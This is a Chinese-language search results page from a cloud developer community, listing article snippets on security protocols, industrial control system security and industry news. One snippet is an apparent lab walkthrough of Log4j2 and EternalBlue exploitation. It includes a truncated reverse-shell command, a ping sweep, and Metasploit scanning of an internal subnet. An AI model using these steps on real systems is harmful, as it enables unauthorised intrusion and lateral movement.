- 综合排序
- 最热优先
- 最新优先
- 来自专栏python基础文章
网络安全协议（2）
2.CC体系一共包括3大部分 分别是：信息技术安全性评价通用准则，信息技术安全评价通用方法，通用准则识别协议。 （2）保护轮廓（PP)。PP是一种TOE类型的安全需求的独立强制性描述。PP是用户对安全需求的明确表述。 EAL2：结构性测试级，证明TOE与系统层次设计概念一致。 EAL.3：工程方法上的测试及验证级，证明TOE在设计上采用了积极安全操作系统安全测评研究的工程方法。 EAL.7：形式化地验证设计和测试级，证明TOE的所有安全功能经得起全面的形式化分析 安全级别和组件之间的关系可以用一张表概括，如表1-2所示。 ---- 2.一般模型 为了消除不正当的压力对评估的影响，CEM定义了4个角色：发起者、开发者、评估者和评估权威机构。
67850编辑于 2023-10-15 - 来自专栏人工智能快报
空客利用增强现实工具加强工业网络安全
“新科学家”网站（www.newscientist.com）于2016年6月报道，增强现实（AR）“IT帮助台”可让生产工程师能够随时联系安全专家，运用他们的专长，以此支持工厂和工业厂房识别并减少工业控制系统上的网络攻击 网络安全研究人员Kevin Jones携团队在空客研究中心利用微软HoloLens增强现实头盔设计了“IT帮助台”系统。
71570发布于 2018-03-14 - 来自专栏FreeBuf
2018年工业控制网络安全态势白皮书
图4-2 工控系统行业漏洞危险等级饼状图（数据来源CNVD、“谛听”） 如图4-2是工控系统行业漏洞危险等级饼状图，由图中可知，高危工控安全漏洞占所有漏洞中的15%。 根据“谛听”网络空间工控设备搜索引擎收集的内部数据，经“谛听”网络安全团队分析，得出如图5-2、5-3和5-4的可视化展示，下面做简要说明。 图5-2 “谛听”暴露工控设备总览全球视角 如图5-2所示是以全球视角分析工控设备的暴露情况（Demo展示），图5-3为全球工控设备暴露Top-10国家。 2.国际工控设备暴露情况 国际工控设备的暴露情况以美国、巴西和南非为例进行简要介绍。美国作为世界上最发达的工业化国家暴露的工控设备最多。 图6-1 威胁IP可视化展示 图6-2为各协议攻击量占比。
1.6K30发布于 2019-05-09 - 来自专栏可持续开发
工业互联网2
在文章”工业互联网”中，我提到了工业互联网需要分内部和外部形态，优秀的企业内部形态是实现外部互联互通的前提条件，如果企业内部都非常多的信息孤岛，又怎么能做好外部的连接工作呢，所以工业互联网实现的难度要远远高于消费 C端互联网，本文就重点讲解一下工业互联网的内部形态需要解决的问题和挑战。 工业企业流程多样化的问题 C端互联网的实现是标准统一化的，一个淘宝手机端，微信手机端可以服务10亿以上的用户，但工业互联网，每个节点都是多样化的。 ? 工业互联网需要先进的智能设备 智能设备是工业互联网的鼻子，眼睛，耳朵，手和脚，ERP和MES系统是企业内部形态的大脑和躯干，流动的信息就是血液循环系统。 ? ? 工业互联网需要企业信息化升级 工业互联网是企业管理软件领域的再次升级，但这必须是建立在企业完成内部信息化的基础上面的，而且如果只有大企业完成信息也，中小企业还在数字化低端水平，也无法真正实现工业互联网。
1.2K20发布于 2019-08-26 - 来自专栏python基础文章
网络安全——网络层安全协议（2）
一.IPSec体系结构 1.IPSec体系结构 IPSec(Internet协议安全)是一个工业标准网络安全协议，为IP网络通信提供透明的安全服务，保护TCP/IP通信免遭窃听和篡改，可以有效抵御网络攻击 (2)广域网：路由器到路由器模式，网关到网关模式。 (3）远程访问：拨号客户机，专网对Internet的访问。 （2）ESP协议。加密IP数据包的默认值、头部格式以及与加密封装相关的其他条款。 （3）AH协议。验证IP数据包的默认值、头部格式以及与认证相关的其他条款。 （4）加密算法。 （2）在IPSec驱动程序数据库中查找相匹配的出站SA，并将SA中的SPI插人IPSec包头。 （3）对数据包签名(完整性检查)；如果要求机密，则另外加密数据包。 （2）通过目的地址和SPI，在IPSec驱动程序数据库中查找相匹配的人站SA。 （3）检查签名，对数据包进行解密(如果是加密包的话)。
90420编辑于 2023-10-15 - 来自专栏超级架构师
【工业控制系统】工业控制系统（ICS） 安全简介第 2 部分
在这一点上，重要的是要注意 PERA 从未打算成为网络安全参考模型。它旨在描述管理工业部门网络的企业和工业部门之间分割的最佳实践。 在 2 级和 3 级之间引入次要执法边界，以保护： 不同单元/生产线/工艺中的 2 级设备。 来自恶意行为者的 2 级及以下设备，该恶意行为者已通过上层控制并进入 OT 环境。 审查 ICS 网络安全标准 如果说 PERA 通过有效的分类和分类为 ICS 网络安全奠定了基础，那么一系列其他框架和出版物已经建立在该基础之上，并提供了专门针对保护工业控制系统的指导。 示例包括： NIST 网络安全框架 (CSF) NIST 800-82（工业控制系统安全指南） ISA 99.02.01/IEC 62443：工业自动化和控制系统的安全 NIST Cybersecurity 出于这个原因，应在 2 级和 3 级之间配置辅助执行边界，以保护管理系统免受来自现场的攻击，并保护各个现场站点免受彼此的攻击。
2.3K40编辑于 2022-03-08 - 来自专栏数通
2款网络安全杀手级工具，教你如何提高网络安全性！
背景 随着云计算、人工智能等互联网技术的不断发展，网络安全形势也面临着非常严峻的考验。 所以网络安全已成为国家都关注的区域之一，作为网络工程师，则更需要了解如何防范这些攻击，才能维护网络的安全性、稳定性。 今天阿祥给大家介绍几款网络安全测试工具，协助大家排查网络中的隐藏安全漏洞，有助于给网络安全防线添砖加瓦！ 2、零信任网络测试：它的功能还可以帮助企业检测零信任网络架构，测试零信任网络是否达到预期的要求，确保零信任网络正式使用时不会出现纰漏！ 2、操作系统识别：通过特定的网络指纹识别技术，可识别目标主机的操作系统 3、服务探测：检测开放端口上运行的服务及其版本，以便进一步评估风险。
34610编辑于 2024-12-03 - 来自专栏python基础文章
网络安全——数据链路层安全协议（2）
---- （2）IEEE802.10的应用模式 IEEE802.10协议最初的目的是制定一个互操作的局域网安全标准但没有得到业界的响应和支持。 ---- 2.IEEE 802.1q 早期VLAN在网络之间很难实施，每个VLAN都被手动配置在每个交换机上。对VLAN的管理，在一个延伸的网络中是非常复杂的任务。 图2表示了不同Cisco交换机之间的IEEE802.1g干线。 IEEE802.1p/g同属一个协议集，使用同一赖格式，它们是在传统的以太网帧格式中插入了一个标记（Tag)字段，占两个字节，如图2-5所示。
60620编辑于 2023-10-15 - 来自专栏python基础文章
网络安全——数据链路层安全协议（2）
---- （2）IEEE802.10的应用模式 IEEE802.10协议最初的目的是制定一个互操作的局域网安全标准但没有得到业界的响应和支持。 ---- 2.IEEE 802.1q 早期VLAN在网络之间很难实施，每个VLAN都被手动配置在每个交换机上。对VLAN的管理，在一个延伸的网络中是非常复杂的任务。 图2表示了不同Cisco交换机之间的IEEE802.1g干线。 IEEE802.1p/g同属一个协议集，使用同一赖格式，它们是在传统的以太网帧格式中插入了一个标记（Tag)字段，占两个字节，如图2-5所示。
45330编辑于 2023-10-15 - 来自专栏超级架构师
【工业控制系统】深入了解 ICS612：ICS 网络安全：第 1 部分
直到最近，我们才以网络安全进入我们词汇的方式将机器连接在一起。多年来，控制规则并未发生根本性变化，但连接性的变化迫使我们将网络安全技能添加到我们的工具包中。 在 ICS 网络安全培训方面也是如此。与您的培训相关的经验最终取决于您在何种环境中工作以及获得成功所需的技能。 ICS 网络安全深入研究 所以现在让我们谈谈我们希望通过 SANS ICS612：ICS 网络安全深度课程实现的目标和学习经验。 了解如何对常见工业资产进行编程和操作是 ICS612 的基本必要组成部分，但我们认为如果不通过资产攻击实验室工作，这门课程将是不完整的。 我们认为，工业网络安全课程的正确组合需要学习如何让资产在正常运行条件下工作，通过实验室练习保护资产，并通过攻击实验室发现漏洞。了解如何防守和进攻不仅有趣，而且非常重要。
71820编辑于 2022-03-08 - 来自专栏网络安全观
美军网络安全 | 第2篇：JIE网络安全架构SSA（单一安全架构）
这一篇，就谈6项关键能力的第1项和8个现代化领域的第2项——JIE网络安全架构SSA（单一安全架构）。 注意：SSA（单一安全架构）在最新的文件中可能被称为CCA（一致网络安全架构）。 •努力方向2：设备加固：减少进入国防部信息网络的内部和外部攻击向量。确保设备正确配置和软件补丁为最新,该项工作还包括禁用电子邮件中的活动链接。 尽管美军国防部在各军种、军事机构中推动和实施了多个网络安全战略性项目，但GIG各组成单元间相互脱节的网络安全策略和保护措施多样化的实现途径，导致网络安全本质上的整体保障能力存在巨大风险。 2、SSA定位： SSA的提出体现了美军为扭转安全防护的不利态势，而在JIE中做出的不懈努力。 2、SSA能力分解 对应地，两种网络中SSA的能力也有所不同。
2.3K10发布于 2021-02-26 - 来自专栏Pou光明
2_linux海康工业相机环境搭建与测试
安装步骤： 1>解压MVS_STD_GML_V2.1.2_231225.zip 2>解压MVS-2.1.2_x86_64_20231225.tar.gz 3>进入MVS-2.1.2_x86_64_20231225 中，查看INSTALL安装文件 执行完第三步，没用第四步测试，直接运行了MVS，可以获取图像，环境搭建OK. 2.使用Qt显示相机图像 这里主要是环境搭建。
2.2K10编辑于 2024-02-22 - 来自专栏python基础文章
【创作赢红包】网络安全——传输层安全协议（2）
前言 通过之前文章我们对于SSL协议进行了一定了解网络安全——传输层安全协议 本章将会继续讲解SSL握手协议与SSL记录协议。 一. （2)第二阶段——“用户身份认证阶段” 对用户身份进行认证，通常服务器方要求客户方提供经过签名的客户证书进行认证，并将认证结果返回给客户。 （2）客户问候消息发送完后，如果Server端需要进行认证，会发送它的证书。 （5）此时，握手过程结束，客户端和服务器可以开始交换应用加密数据，应用数据加密一般是用第（2）步密钥协商时确定的对称加/解密密钥，如DES、3DES等。 2.打包过程 记录层将数据块分裂为小于或等于214字节的SSL.PlainText记录。
38420编辑于 2023-10-15 - 来自专栏网络安全技术点滴分享
英国政府工业战略重点扶持网络安全技术以推动经济增长
政府工业战略将支持网络技术推动经济增长英国拥有超过2000家网络安全企业，政府计划将网络安全作为优先领域以促进经济增长。 网络技术成为经济增长“首要目标”兰开斯特公爵郡大臣帕特·麦克法登将于5月7日在网络安全会议上宣布，网络部门将成为工党工业战略中“经济增长的首要目标”。该战略预计于下月发布。 麦克法登将向企业领袖和技术专家表示，对网络领域的投资将带来“双重红利”：既在英国创造就业机会，又通过提升网络安全“保护其他行业的增长”。 麦克法登强调，数字技术为英国全境带来“巨大经济机遇”，政府将通过工业战略“加速推进”网络领域发展。 英格兰西北部成为网络安全增长重点区域，集中了全英8%的网络安全企业和10%的从业人员，平均年薪达5.46万英镑。2024年该地区获得六笔超1亿英镑投资，占全英外部投资的49%。
21710编辑于 2025-09-12 Apache Log4j2网络安全事件
一 .利用 log4j2 漏洞获取目标机权限1.信息搜集访问目标端口，寻找可能存在的漏洞2.反弹shellcd /opt/Tools/Log4j2_shell echo -n 'bash -i >& payload 让目 标加载恶意类 成功获取反弹 shell成功获取用户名和密码二.利用永恒之蓝漏洞进行内网渗透1、内网信息收集（1）观察是否为 docker 环cat /proc/1/cgroup（2） i in 10.10.30.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done 2、 进行初步探测use auxiliary/scanner/smb/smb_version set rhosts 10.10.30.0/24 run发现 10.10.30.21 开放了 smb 相关端口（2） 添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true3.修改配置文件 log4j2.formatMsgNoLookups=True 4.修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
45050编辑于 2024-08-19- 来自专栏数据安全架构与治理
企业网络安全体系建设(2): 安全组织
： 设立由网络安全相关的专业人员组成的网络安全部，相当于国家安全体系中的“公安局”，主要职责是维持企业的基本安全环境，预防、阻止危害公司网络安全的行为，检测网络流量以识别恶意行为，管理重要信息资产，建设 、管理和运维重要的网络安全基础设施等。 威胁情报的主要来源有网络安全厂商或网络安全媒体的安全公告、最新的漏洞披露、安全预警、业界安全事件、安全态势等，以及专业的威胁情报公司为企业提供的量身定制的特定情报数据。 网络安全相关工作的开展，还需要对网络安全相关的事宜进行立法，对网络安全人员依法行政的过程或结果进行复议或裁决（司法）。 这些可以在网络安全团队内部设立独立的小组，或者在网络安全部门之外设立决策委员会，负责网络安全立法审核（相当于“人大”）与司法（相当于“法院”，对网络安全部依法行政进行复议或裁决）。
1.2K20编辑于 2022-06-02 - 来自专栏京程一灯
讲给前端的网络安全（2）： 互联网的构成
讲给前端的网络安全（1）：浏览器与网络的那些事 网络资源分配 在解互联网之前，要先了解网络资源是怎么分配的。 ? 假设这里有六个 AS，而我们为 AS 2，我们接收了AS 3，AS 4，AS 1的路由，并把 AS 3 与 AS 4 连同自己的（AS 2）的路由一起输出给 AS 1，AS 3 与 AS 4 需要通过AS 2 才能连上 AS 1、AS 5、AS 6 内的电脑，这时就有好几种 AS 角色关系出现： Customer AS AS 2 为 AS 1 的 Customer AS，因为 AS 2 必须通过 AS 而 AS 2 在这里就是一个 Transit AS AS 分级 基本上我们将 AS 分为三个等级，也就是 Tier 1~3。 Tier 2：T2 等级提供 Transit 服务给其他AS，同时也会向 Tier 1 AS 寻求并使用 Transit 的服务。
75920发布于 2020-11-26 - 来自专栏全栈程序员必看
高校 网络安全_网络安全之道
该高校多个校区，客户师生上万人，每人 1-2 个终端，学校难以统一规范管理学生上网行为，更没有师生私有终端设备的管理权限。 安全人员有限，难以应对大量告警和各类新型威胁。 学校 IT 部门只有 3~4人，难以应对每天数百次的各类攻击，以及各类新型威胁，IT 部门负责人和安全人员对校园网络安全现状、 运维处置非常担忧，希望通过有效的手段进行全面安全防护。 如果有更高的办公网络安全需求，比如要阻止“恶意挖矿”、防勒索软件、防木马病毒等，则可选择微步在线OneDNS企业版。 2、安全响应闭环能力 OneDNS防护实现检测、拦截、定位、取证闭环。 更详细的能力介绍，大家可自行去官网深入了解。 OneDNS这么一个轻量、安全的DNS防护，可以助力高校的网络安全。
3.8K30编辑于 2022-09-27 - 来自专栏安恒信息
安恒信息受邀参加中国工业大数据大会 分享网络安全防护创新实践
4月26日，2018（第三届）中国工业大数据大会·钱塘峰会暨浙江省工业互联网推进大会在杭州国际博览中心举行。 作为浙江省工业互联网产业联盟的重要发起单位，杭州安恒信息技术股份有限公司应邀参加会议，安恒信息高级副总裁黄进发表主题为“网络安全防护创新实践，让企业放心拥抱工业互联网”的演讲。 ? 会上，黄进对工业互联网的安全现状做了分析与介绍，“随着技术的不断进步发展，数字化、信息化及智能化深度融入工业企业，在激发生产力的同时,网络攻击也逐步从传统意义上的虚拟空间渗透到工业生产系统中，给工业企业带来了严重威胁 他介绍了一种包含安全防护、安全监测、及时预警、应急处置的防护体系，这是一种基于闭环控制、主动防御的动态安全防护体系，能积极指导工业企业开展安全防护建设，以应对不断提升的网络安全威胁。 在未来，安恒信息将不忘初心，继续深耕工业安全领域，切实为国家关键信息基础设施安全、为客户的安全生产做出更大贡献，让工业企业放心拥抱工业互联网，助力智能制造强国。
63030发布于 2018-07-24 - 来自专栏剑指工控
罗克韦尔自动化收购以色列AVENT数据安全公司，挺进工业网络安全服务领域
JZGKCHINA 工控技术分享平台 罗克韦尔自动化公司（NYSE）2020年1月8日宣布，已签署协议收购Avnet数据安全有限公司，一家位于以色列的网络安全提供商，在提供网络安全服务方面拥有超过20 在过去的10年里，Avnet的SCADA部门专注于与实时、关键任务工业控制系统（ICS）相关的安全问题，在更广泛的安全社区中发挥着积极的作用。 Avnet经验丰富的网络安全专业人员将渗透测试、实时SCADA/自动化系统和遥测技术的背景结合起来。 当你计划你的网络安全计划和预算，这是一个很好的时间考虑如何操作SCADA和ICS适合你的网络安全战略。让我们的团队进行网站评估是了解您当前的安全态势和规划您的网络安全战略的第一步。 工业网络安全是罗克韦尔自动化服务业务中增长最快的部分之一。随着制造业的发展，这种联系比以往任何时候都更加紧密，传统的物理安全策略已经不足以保护生产运营。
46120发布于 2021-11-09
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号